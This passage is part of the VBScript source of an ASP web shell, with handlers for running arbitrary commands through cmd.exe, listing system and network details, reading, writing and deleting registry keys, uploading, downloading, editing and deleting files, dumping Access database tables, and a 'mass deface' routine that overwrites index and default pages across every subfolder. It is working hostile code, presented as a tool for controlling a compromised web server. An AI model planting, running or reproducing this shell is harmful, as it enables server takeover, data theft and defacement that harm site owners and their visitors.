			Response.Write "<font face='arial' size='2'><center><br><br>Folder <b>" & caminho & "</b> Deleted.<br>"
		End If

	Case "fdel"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		caminho = Replace(Trim(Request.QueryString("path")),"|","\")
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		ObjFSO.DeleteFolder caminho
		If Err.Number = 0 Then
			Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
			Response.Write "<font face='arial' size='2'><center><br><br>File <b>" & caminho & "</b> Deleted.<br>"
		End If

	Case "ren"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Trim(Request.QueryString("status")) <> "2" Then
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			arquivo = showobj(caminho)
			Response.Write "<br><font face=""arial"" size=""2""><b>" & arquivo & "</b><br>" & _
						       "<form action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & _
						       "<input type=""hidden"" name=""action"" value=""ren"">" & _
						       "<input type=""hidden"" name=""status"" value=""2"">" & _
						       "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>" & _
						       "New Name: <input type=""text"" name=""newname"">" & _
						       "&nbsp;&nbsp;<input type=""submit"" value=""Submit"">" & _
						       "</form>"
		Else
			caminho = Replace(Trim(Request.QueryString("path")),"|","\")
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			Set MyFile = ObjFSO.GetFile(caminho)
			destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.QueryString("newname"))
			MyFile.Move (destino)
			If Err.Number = 0 Then
				Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & caminho & "</b><br>renomeado para<b>: " & destino
				Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
			End If	
		End If
	Case "error"
		Response.Write "<center><font face='arial' size='2' color='red'> <b>C�DIGO CORROMPIDO<BR>CORRUPT CODE</font></center>"
	Case "cmd"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
		Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
		Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
		szCMD = Request.QueryString(".CMD") 
		If (szCMD <> "") Then 
			szTempFile = "c:\" & oFileSys.GetTempName( ) 
			Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 
			Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
		End If 
		Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET""><input type=""hidden"" name=""action"" value=""cmd""><input type=text name="".CMD"" size=45 value=""" & szCMD & """><input type=submit value=""Run""></FORM><br><br> "
		If (IsObject(oFile)) Then 
			On Error Resume Next 
			Response.Write "<font face=""arial"">"
			Response.Write Replace(Replace(Server.HTMLEncode(oFile.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
			oFile.Close 
			Call oFileSys.DeleteFile(szTempFile, True) 
		End If 
	Case "info"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set WshNetwork = Server.CreateObject("WScript.Network")
		Set WshShell = Server.CreateObject("WScript.Shell")
		Set WshEnv = WshShell.Environment("SYSTEM")
		Response.Write "<br><font face=arial size=2>"
		Response.Write "<b>User Properties:</b><br>"
		Response.Write "<b>UserName: </b>" & WshNetwork.UserName & "<br>"
		Response.Write "<b>Computer Name: </b>" & WshNetwork.ComputerName & "<br>"
		Response.Write "<b>User Domain: </b>" & WshNetwork.UserDomain & "<br>"
		Set Drives = WshNetwork.EnumNetworkDrives
		For i = 0 to Drives.Count - 1
			Response.Write "<b>Drive de Rede (Mapeado): </b>" & Drives.Item(i) & "<br>"
		Next
		Response.Write "<br><b>Cpu Information:</b><br>"
		Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"
		Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"
		Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"
		Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"
		Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"
		Response.Write "<br><b>Operating System Information:</b><br>"
		Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"
		Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"
		Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"
		Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"
		Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"
		Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"
		Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"
		Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"
		Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"
		Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"
		Set Drives = Nothing
		Set WshNetwork = Nothing
		Set WshShell = Nothing
		Set WshEnv = Nothing
	Case "reg"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Set WshShell = Server.CreateObject("WScript.Shell")
		Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"
		Select Case Trim(Request.QueryString("regaction"))
			Case "w"
				If Trim(Request.QueryString("process")) = "yes" Then
					Select Case Trim(Request.QueryString("type"))
						Case "1"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
						Case "2"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
						Case "3"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
						Case "4"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
						Case "5"
							teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
					End Select
					Response.Write "<center><br><font face=""arial"" size=""2"">Registry <b>"
					Response.Write Trim(Request.QueryString("key")) & "</b> Changed.</center>"
					Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
				Else
					Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIA��O</td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"
					Response.Write "<table><tr><td><font face=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Description </td><td><font face=""arial"" size=""2""> Figure </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial"" size=""1""> String </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td><td><font face=""arial"" size=""1""> DWORD </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String Expand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> String </td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr></table>"
					Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
					Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
					Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
					Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
					Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
					Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
					Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
					Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
					Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
				End If
			Case "r"
				If Trim(Request.QueryString("process")) = "yes" Then
					Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
					Response.Write "Value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
				Else
					Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
					Response.Write "<input type=""submit"" value=""OK""></form>"
				End If
				Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
			Case "d"
				If Trim(Request.QueryString("process")) = "yes" Then
					teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
					Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>Deleted."
				Else
					Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
					Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
					Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
					Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
					Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
					Response.Write "<input type=""submit"" value=""OK""></form>"
				End If
				Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"
			Case Else
				Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">WRITE VALUE</a><br><br>"
				Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a><br><br>"
				Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>"
		End Select
		Set WshShell = Nothing
	Case "txtview"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
		file = Replace(Trim(Request.QueryString("file")),"|","\")
		Set fso = CreateObject("Scripting.FileSystemObject")  
		Set a = fso.OpenTextFile(file)
		Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
		Set a = Nothing
		Set fso = Nothing
	Case "txtedit"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		If Request.Form.Count = 0 Then
			file = Replace(Trim(Request.QueryString("file")),"|","\")
			Set fso = CreateObject("Scripting.FileSystemObject")
			Set a = fso.OpenTextFile(file)
			Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
			Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
			Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
			Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
			Set a = Nothing
			Set fso = Nothing
		Else
			Select Case Trim(Request.Form("savemethod"))
				Case "Save"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
				Case "Save as"
					Set fso = CreateObject("Scripting.FileSystemObject")
					novotexto = Trim(Request.Form("content"))
					novotexto = Split(novotexto,vbCrLf)
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
					Set objstream = fso.CreateTextFile(caminho,true,false)
					For i = 0 To UBound(novotexto)
						objstream.WriteLine(novotexto(i))
					Next
					objstream.Close
					Set objstream = Nothing
					Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
					Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
					Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
					Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
				Case Else
					caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					Set MyFile = ObjFSO.GetFile(caminho)
					destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
					MyFile.Move (destino)
					If Err.Number = 0 Then
						Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
						Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
					End If	
			End Select
		End If
	Case "download"
		Response.Buffer = True
		Response.Clear
		strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
		strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
		strFileType = Request.QueryString("type")
		if strFileType = "" then strFileType = "application/download"
		Set fso = Server.CreateObject("Scripting.FileSystemObject")
		Set f = fso.GetFile(strFilename)
		intFilelength = f.size
		Set f = Nothing
		Set fso = Nothing
		Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
		Response.AddHeader "Content-Length", intFilelength
		Response.Charset = "UTF-8"
		Response.ContentType = strFileType
		Set Stream = Server.CreateObject("ADODB.Stream")
		Stream.Open
		Stream.type = 1
		Stream.LoadFromFile strFileName
		Response.BinaryWrite Stream.Read
		Response.Flush
		Stream.Close
		Set Stream = Nothing
	Case "upload"
		If Request.QueryString("processupload") <> "yes" Then
			Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
			Response.Write "<TABLE BORDER=0>"
			Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
			Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
			Response.Write "</TABLE>"
		Else
			Set Uploader = New FileUploader
			Uploader.Upload()
			If Uploader.Files.Count = 0 Then
				Response.Write "File(s) not uploaded."
			Else
				For Each File In Uploader.Files.Items
					File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
					Response.Write "File Uploaded: " & File.FileName & "<br>"
					Response.Write "Size: " & File.FileSize & " bytes<br>"
					Response.Write "Type: " & File.ContentType & "<br><br>"
					Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
				Next
			End If
		End If
	Case "mass"
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write copyright & onlinehelp
		Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
			On Error Resume Next
			Set MonRep = ObjFSO.GetFolder(caminhodomass)
			Set ColFolders = MonRep.SubFolders
			for each folderItem in ColFolders
				destino1 = folderItem.path & "\index.htm"
				destino2 = folderItem.path & "\index.html"
				destino3 = folderItem.path & "\index.asp"
				destino4 = folderItem.path & "\index.cfm"
				destino5 = folderItem.path & "\index.php"
				destino6 = folderItem.path & "\default.htm"
				destino7 = folderItem.path & "\default.html"
				destino8 = folderItem.path & "\default.asp"
				destino9 = folderItem.path & "\default.cfm"
				destino10 = folderItem.path & "\default.php"
				MeuArquivo.Copy(destino1)
				MeuArquivo.Copy(destino2)
				MeuArquivo.Copy(destino3)
				MeuArquivo.Copy(destino4)
				MeuArquivo.Copy(destino5)
				MeuArquivo.Copy(destino6)
				MeuArquivo.Copy(destino7)
				MeuArquivo.Copy(destino8)
				MeuArquivo.Copy(destino9)
				MeuArquivo.Copy(destino10)
				Response.Write "<table><tr><td><font face='arial' size='2'>&lt;DIR&gt; " & folderItem.path & "</td>"
				If Err.Number = 0 Then
					Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"
				Else
					Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
				End If
				Err.Number = 0
				Response.Flush
				If metodo = "brute" Then
					Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
				End If
			next
		End Sub
		Sub brutemass(caminho,massaction)
			If massaction = "test" Then
				On Error Resume Next
				Set MonRep = ObjFSO.GetFolder(caminho)
				Set ColFolders = MonRep.SubFolders
				Set ColFiles0 = MonRep.Files
				for each folderItem in ColFolders
					Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
					Set EachFolder = TotalFolders.SubFolders
					Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
					maindestino = folderItem.path & "\"
					MeuArquivo.Copy(maindestino)
					Response.Write "<tr><td><b><font face='arial' size='2'>&lt;DIR&gt; " & maindestino & "</b></td>"
					If Err.Number = 0 Then
						Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
					Else
						Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
					End If
					Err.Number = 0
					Response.Flush
					If EachFolder.count > 0 Then
						masscontador = 0
						for each subpasta in EachFolder
							masscontador = masscontador + 1
							destino = subpasta.path & "\"
							If masscontador = 1 Then
								destinofinal = destino
								pathfinal = subpasta.path
								Err.Number = 0
								MeuArquivo.Copy(destinofinal)
								Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>"
								If Err.Number = 0 Then
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
								Else
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
								End If
								Err.Number = 0
								Response.Flush
							Else
								MeuArquivo.Copy(destino)
								Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>"
								If Err.Number = 0 Then
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
								Else
									Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
								End If
								Err.Number = 0
								Response.Flush
							End If
						next
						masscontador = 0
					End If
					Response.Write "</table><br>"
					Call brutemass(folderItem.path & "\","test")
				next
				Set MonRep = Nothing
				Set ColFolders = Nothing
				Set ColFiles0 = Nothing
			Else
				If Request.Form.Count = 0 Then
					Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>"
					Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>"
					Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
					Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
					Response.Write "<center><font face=""arial"" size=""2"">Deface Code:<br>"
					Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
					Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
					Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
					Response.Write "<input type=""submit"" value=""Deface ALL!""></center>"
					Response.Write "</form>"
				Else
					Set ObjFSO = CreateObject("Scripting.FileSystemObject")
					patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
					arquivomassdfc = patharquivotxt & "teste.txt"
					Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
					vetordelinhas = Split(Request.Form("content"),VbCrLf)
					For i = 0 To UBound(vetordelinhas)
						Arquivotxt.WriteLine(vetordelinhas(i))
					Next
					Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
					
					If Request.Form("massopt") = "single" Then
						Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
					ElseIf Request.Form("massopt") = "brute" Then
						Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
					End If
				End If
			End If
		End Sub
		If Trim(Request.QueryString("massact")) = "test" Then
			Set ObjFSO = CreateObject("Scripting.FileSystemObject")
			patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
			arquivo = patharquivotxt & "_vti_cnf.log"
			Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
			Set MeuArquivo = ObjFSO.GetFile(arquivo)
			Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
		ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
			Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
		End If
	Case "fcopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFolder mptpath,mptdest
			isl="Copied.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFolder mptpath,mptdest
			isl="moved.." 
		end if

		response.Write "Command: "&isl
		response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
		response.Write "<br>"
	    Else
		Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
		Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
		Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>"
		response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
		Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
		response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
		response.Write "<input type=radio name='islem' value='tasi'>Move"
		response.Write "</table>"
		response.Write "</form>"
	    End IF

	Case "filecopy"
            If Trim(Request.Form("submit1")) = "Copy" Then
		mptpath=Trim(Request.Form("path"))
		mptdest=Trim(Request.Form("cf"))
		Set ObjFSO = CreateObject("Scripting.FileSystemObject")
		isl = ""
		if Trim(Request.Form("islem"))="kopyala" then
			objFSO.CopyFile mptpath,mptdest
			isl="Copy.." 
		elseif Trim(Request.Form("islem"))="tasi" then
			objFSO.MoveFile mptpath,mptdest
			isl="move.." 
		end if

		response.Write "Command: "&isl
		response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest
		response.Write "<br>"
	    Else
		Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">"
		Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"
		Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"
		Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>"
		response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"
		Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"
		response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"
		response.Write "<input type=radio name='islem' value='tasi'>Move"
		response.Write "</table>"
		response.Write "</form>"
	    End IF


	Case "search"
         If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then
          showdisks=FALSE
 	  status5=Trim(Request.Form("status"))
	  if status5="" then status5=Trim(Request.QueryString("status"))
 	      SELECT CASE status5

		CASE "5"
			Response.Write "<center><b><font color=orange>"& Trim(Request.QueryString("path")) &"</font></b></center><br>"
			Response.Write "<table width=100% ><tr><td>"
			set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)
			Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"
			if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamyyor\nSistem dosyasy olabilir')</script>":Response.End



	  	 CASE "7":
			Response.Write "<b><font size=3>Tables</font></br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objADOX = Server.CreateObject("ADOX.Catalog")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objADOX.ActiveConnection = objConn

			For Each table in objADOX.Tables
				If table.Type = "TABLE" Then
					Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"
				End If
			Next

		CASE "8":
			table=Trim(Request.QueryString("table"))
			Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"
			Set objConn = Server.CreateObject("ADODB.Connection")
			Set objRcs = Server.CreateObject("ADODB.RecordSet")
			objConn.Provider = "Microsoft.Jet.Oledb.4.0"
			objConn.ConnectionString = Trim(Request.QueryString("path"))
			objConn.Open
			objRcs.Open table,objConn, adOpenKeyset , , adCmdText
	
			Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"
			for i=0 to objRcs.Fields.count-1
				Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"
			next
			Response.Write "</tr>"
			do while not objRcs.EOF
				Response.Write "<tr>"
				for i=0 to objRcs.Fields.count-1
					Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"
				next
				Response.Write "</tr>"
				objRcs.MoveNext
			loop
			Response.Write "</table><br>"


		 case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama"))

		END SELECT

	 Else
		showdisks=FALSE
		checa = checking(cprthtml,keydec)
		Call hdr()
		Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">"
		Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>File Ext: </td><td>"
		Response.Write "&nbsp;<input type=hidden value='12' name=status>"
